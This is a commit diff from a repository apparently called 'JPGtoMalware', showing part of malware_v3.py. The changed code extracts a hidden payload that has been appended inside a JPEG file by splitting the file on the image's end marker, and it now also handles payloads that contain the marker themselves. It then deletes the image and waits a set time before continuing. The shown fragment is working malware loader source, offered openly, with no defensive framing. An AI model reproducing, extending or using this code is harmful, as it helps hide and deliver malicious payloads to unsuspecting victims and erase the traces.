Projects STRLCPY JPGtoMalware Commits b79754d5
🤬
  • ■ ■ ■ ■ ■
    malware_v3.py
    skipped 168 lines
    169 169   rb = readfile.read()
    170 170   rb_list = rb.split(sep=b'\xff\xd9')
    171 171   del rb
    172  - if len(rb_list) != 3:
     172 + if len(rb_list) < 3:
    173 173   return False
    174  - payload = rb_list[1]
     174 + else:
     175 + if len(rb_list) == 3:
     176 + payload = rb_list[1]
     177 + else:
     178 + payload = b''
     179 + for ii in range(1, (len(rb_list) - 1)):
     180 + if ii == 1:
     181 + payload += rb_list[ii]
     182 + else:
     183 + payload += (b'\xff\xd9' + rb_list[ii])
    175 184   del rb_list
    176 185   os.remove(jpg_file)
    177 186   time.sleep(settings.WAIT_TIME)
    skipped 52 lines
Please wait...
Page is in error, reload to recover